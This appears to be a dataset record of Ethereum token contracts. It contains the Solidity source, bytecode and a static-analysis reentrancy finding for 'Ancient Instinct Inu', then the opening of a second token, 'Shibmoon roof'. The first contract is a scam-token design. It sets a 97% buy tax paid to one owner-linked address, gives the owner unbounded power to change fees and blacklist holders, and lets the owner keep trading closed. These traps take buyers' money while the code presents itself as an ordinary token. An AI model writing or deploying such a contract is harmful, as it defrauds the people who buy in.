require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ancientinu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Ancient Instinct Inu";
string private constant _symbol = "ANCIENT INU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 97;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x9BcB777CEA5C7336a791244B9DF334E62a04F411);
address payable private _marketingAddress = payable(0x9BcB777CEA5C7336a791244B9DF334E62a04F411);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610566578063dd62ed3e14610586578063ea1644d5146105cc578063f2fde38b146105ec57600080fd5b8063a2a957bb146104e1578063a9059cbb14610501578063bfd7928414610521578063c3c8cd801461055157600080fd5b80638f70ccf7116100d15780638f70ccf7146104575780638f9a55c01461047757806395d89b411461048d57806398a5c315146104c157600080fd5b80637d1db4a5146103f65780637f2feddc1461040c5780638da5cb5b1461043957600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038c57806370a08231146103a1578063715018a6146103c157806374010ece146103d657600080fd5b8063313ce5671461031057806349bd5a5e1461032c5780636b9990531461034c5780636d8aa8f81461036c57600080fd5b80631694505e116101ab5780631694505e1461027d57806318160ddd146102b557806323b872dd146102da5780632fd689e3146102fa57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024d57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611970565b61060c565b005b34801561020a57600080fd5b50604080518082019091526014815273416e6369656e7420496e7374696e637420496e7560601b60208201525b6040516102449190611a35565b60405180910390f35b34801561025957600080fd5b5061026d610268366004611a8a565b6106ab565b6040519015158152602001610244565b34801561028957600080fd5b5060145461029d906001600160a01b031681565b6040516001600160a01b039091168152602001610244565b3480156102c157600080fd5b50670de0b6b3a76400005b604051908152602001610244565b3480156102e657600080fd5b5061026d6102f5366004611ab6565b6106c2565b34801561030657600080fd5b506102cc60185481565b34801561031c57600080fd5b5060405160098152602001610244565b34801561033857600080fd5b5060155461029d906001600160a01b031681565b34801561035857600080fd5b506101fc610367366004611af7565b61072b565b34801561037857600080fd5b506101fc610387366004611b24565b610776565b34801561039857600080fd5b506101fc6107be565b3480156103ad57600080fd5b506102cc6103bc366004611af7565b610809565b3480156103cd57600080fd5b506101fc61082b565b3480156103e257600080fd5b506101fc6103f1366004611b3f565b61089f565b34801561040257600080fd5b506102cc60165481565b34801561041857600080fd5b506102cc610427366004611af7565b60116020526000908152604090205481565b34801561044557600080fd5b506000546001600160a01b031661029d565b34801561046357600080fd5b506101fc610472366004611b24565b6108ce565b34801561048357600080fd5b506102cc60175481565b34801561049957600080fd5b5060408051808201909152600b81526a414e4349454e5420494e5560a81b6020820152610237565b3480156104cd57600080fd5b506101fc6104dc366004611b3f565b610916565b3480156104ed57600080fd5b506101fc6104fc366004611b58565b610945565b34801561050d57600080fd5b5061026d61051c366004611a8a565b610983565b34801561052d57600080fd5b5061026d61053c366004611af7565b60106020526000908152604090205460ff1681565b34801561055d57600080fd5b506101fc610990565b34801561057257600080fd5b506101fc610581366004611b8a565b6109e4565b34801561059257600080fd5b506102cc6105a1366004611c0e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d857600080fd5b506101fc6105e7366004611b3f565b610a85565b3480156105f857600080fd5b506101fc610607366004611af7565b610ab4565b6000546001600160a01b0316331461063f5760405162461bcd60e51b815260040161063690611c47565b60405180910390fd5b60005b81518110156106a75760016010600084848151811061066357610663611c7c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069f81611ca8565b915050610642565b5050565b60006106b8338484610b9e565b5060015b92915050565b60006106cf848484610cc2565b610721843361071c85604051806060016040528060288152602001611dc2602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111fe565b610b9e565b5060019392505050565b6000546001600160a01b031633146107555760405162461bcd60e51b815260040161063690611c47565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107a05760405162461bcd60e51b815260040161063690611c47565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107f357506013546001600160a01b0316336001600160a01b0316145b6107fc57600080fd5b4761080681611238565b50565b6001600160a01b0381166000908152600260205260408120546106bc90611272565b6000546001600160a01b031633146108555760405162461bcd60e51b815260040161063690611c47565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c95760405162461bcd60e51b815260040161063690611c47565b601655565b6000546001600160a01b031633146108f85760405162461bcd60e51b815260040161063690611c47565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109405760405162461bcd60e51b815260040161063690611c47565b601855565b6000546001600160a01b0316331461096f5760405162461bcd60e51b815260040161063690611c47565b600893909355600a91909155600955600b55565b60006106b8338484610cc2565b6012546001600160a01b0316336001600160a01b031614806109c557506013546001600160a01b0316336001600160a01b0316145b6109ce57600080fd5b60006109d930610809565b9050610806816112f6565b6000546001600160a01b03163314610a0e5760405162461bcd60e51b815260040161063690611c47565b60005b82811015610a7f578160056000868685818110610a3057610a30611c7c565b9050602002016020810190610a459190611af7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7781611ca8565b915050610a11565b50505050565b6000546001600160a01b03163314610aaf5760405162461bcd60e51b815260040161063690611c47565b601755565b6000546001600160a01b03163314610ade5760405162461bcd60e51b815260040161063690611c47565b6001600160a01b038116610b435760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610636565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c005760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610636565b6001600160a01b038216610c615760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610636565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d265760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610636565b6001600160a01b038216610d885760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610636565b60008111610dea5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610636565b6000546001600160a01b03848116911614801590610e1657506000546001600160a01b03838116911614155b156110f757601554600160a01b900460ff16610eaf576000546001600160a01b03848116911614610eaf5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610636565b601654811115610f015760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610636565b6001600160a01b03831660009081526010602052604090205460ff16158015610f4357506001600160a01b03821660009081526010602052604090205460ff16155b610f9b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610636565b6015546001600160a01b038381169116146110205760175481610fbd84610809565b610fc79190611cc3565b106110205760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610636565b600061102b30610809565b6018546016549192508210159082106110445760165491505b80801561105b5750601554600160a81b900460ff16155b801561107557506015546001600160a01b03868116911614155b801561108a5750601554600160b01b900460ff165b80156110af57506001600160a01b03851660009081526005602052604090205460ff16155b80156110d457506001600160a01b03841660009081526005602052604090205460ff16155b156110f4576110e2826112f6565b4780156110f2576110f247611238565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113957506001600160a01b03831660009081526005602052604090205460ff165b8061116b57506015546001600160a01b0385811691161480159061116b57506015546001600160a01b03848116911614155b15611178575060006111f2565b6015546001600160a01b0385811691161480156111a357506014546001600160a01b03848116911614155b156111b557600854600c55600954600d555b6015546001600160a01b0384811691161480156111e057506014546001600160a01b03858116911614155b156111f257600a54600c55600b54600d555b610a7f8484848461147f565b600081848411156112225760405162461bcd60e51b81526004016106369190611a35565b50600061122f8486611cdb565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a7573d6000803e3d6000fd5b60006006548211156112d95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610636565b60006112e36114ad565b90506112ef83826114d0565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133e5761133e611c7c565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139257600080fd5b505afa1580156113a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ca9190611cf2565b816001815181106113dd576113dd611c7c565b6001600160a01b0392831660209182029290920101526014546114039130911684610b9e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061143c908590600090869030904290600401611d0f565b600060405180830381600087803b15801561145657600080fd5b505af115801561146a573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148c5761148c611512565b611497848484611540565b80610a7f57610a7f600e54600c55600f54600d55565b60008060006114ba611637565b90925090506114c982826114d0565b9250505090565b60006112ef83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611677565b600c541580156115225750600d54155b1561152957565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611552876116a5565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115849087611702565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b39086611744565b6001600160a01b0389166000908152600260205260409020556115d5816117a3565b6115df84836117ed565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162491815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061165282826114d0565b82101561166e57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116985760405162461bcd60e51b81526004016106369190611a35565b50600061122f8486611d80565b60008060008060008060008060006116c28a600c54600d54611811565b92509250925060006116d26114ad565b905060008060006116e58e878787611866565b919e509c509a509598509396509194505050505091939550919395565b60006112ef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111fe565b6000806117518385611cc3565b9050838110156112ef5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610636565b60006117ad6114ad565b905060006117bb83836118b6565b306000908152600260205260409020549091506117d89082611744565b30600090815260026020526040902055505050565b6006546117fa9083611702565b60065560075461180a9082611744565b6007555050565b600080808061182b606461182589896118b6565b906114d0565b9050600061183e60646118258a896118b6565b90506000611856826118508b86611702565b90611702565b9992985090965090945050505050565b600080808061187588866118b6565b9050600061188388876118b6565b9050600061189188886118b6565b905060006118a3826118508686611702565b939b939a50919850919650505050505050565b6000826118c5575060006106bc565b60006118d18385611da2565b9050826118de8583611d80565b146112ef5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610636565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080657600080fd5b803561196b8161194b565b919050565b6000602080838503121561198357600080fd5b823567ffffffffffffffff8082111561199b57600080fd5b818501915085601f8301126119af57600080fd5b8135818111156119c1576119c1611935565b8060051b604051601f19603f830116810181811085821117156119e6576119e6611935565b604052918252848201925083810185019188831115611a0457600080fd5b938501935b82851015611a2957611a1a85611960565b84529385019392850192611a09565b98975050505050505050565b600060208083528351808285015260005b81811015611a6257858101830151858201604001528201611a46565b81811115611a74576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9d57600080fd5b8235611aa88161194b565b946020939093013593505050565b600080600060608486031215611acb57600080fd5b8335611ad68161194b565b92506020840135611ae68161194b565b929592945050506040919091013590565b600060208284031215611b0957600080fd5b81356112ef8161194b565b8035801515811461196b57600080fd5b600060208284031215611b3657600080fd5b6112ef82611b14565b600060208284031215611b5157600080fd5b5035919050565b60008060008060808587031215611b6e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9f57600080fd5b833567ffffffffffffffff80821115611bb757600080fd5b818601915086601f830112611bcb57600080fd5b813581811115611bda57600080fd5b8760208260051b8501011115611bef57600080fd5b602092830195509350611c059186019050611b14565b90509250925092565b60008060408385031215611c2157600080fd5b8235611c2c8161194b565b91506020830135611c3c8161194b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cbc57611cbc611c92565b5060010190565b60008219821115611cd657611cd6611c92565b500190565b600082821015611ced57611ced611c92565b500390565b600060208284031215611d0457600080fd5b81516112ef8161194b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d5f5784516001600160a01b031683529383019391830191600101611d3a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dbc57611dbc611c92565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122078f6a00255565b7f352e51070e303ec2cfd77471ed52162bbfda4bd47c2232af64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,123 |
0x28f54123fc161e2133c9bdca80660f6838debc3e
|
/**
*Submitted for verification at Etherscan.io on 2022-03-08
*/
/*
Telegram : https://t.me/shibmoonroof
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract shibmoonrooftoken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Shibmoon roof";
string private constant _symbol = "SHIBMOON";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0xA54d0E7868C120B2f822a09DEeaD5E93e4Fc9B07);
_buyTax = 12;
_sellTax = 12;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
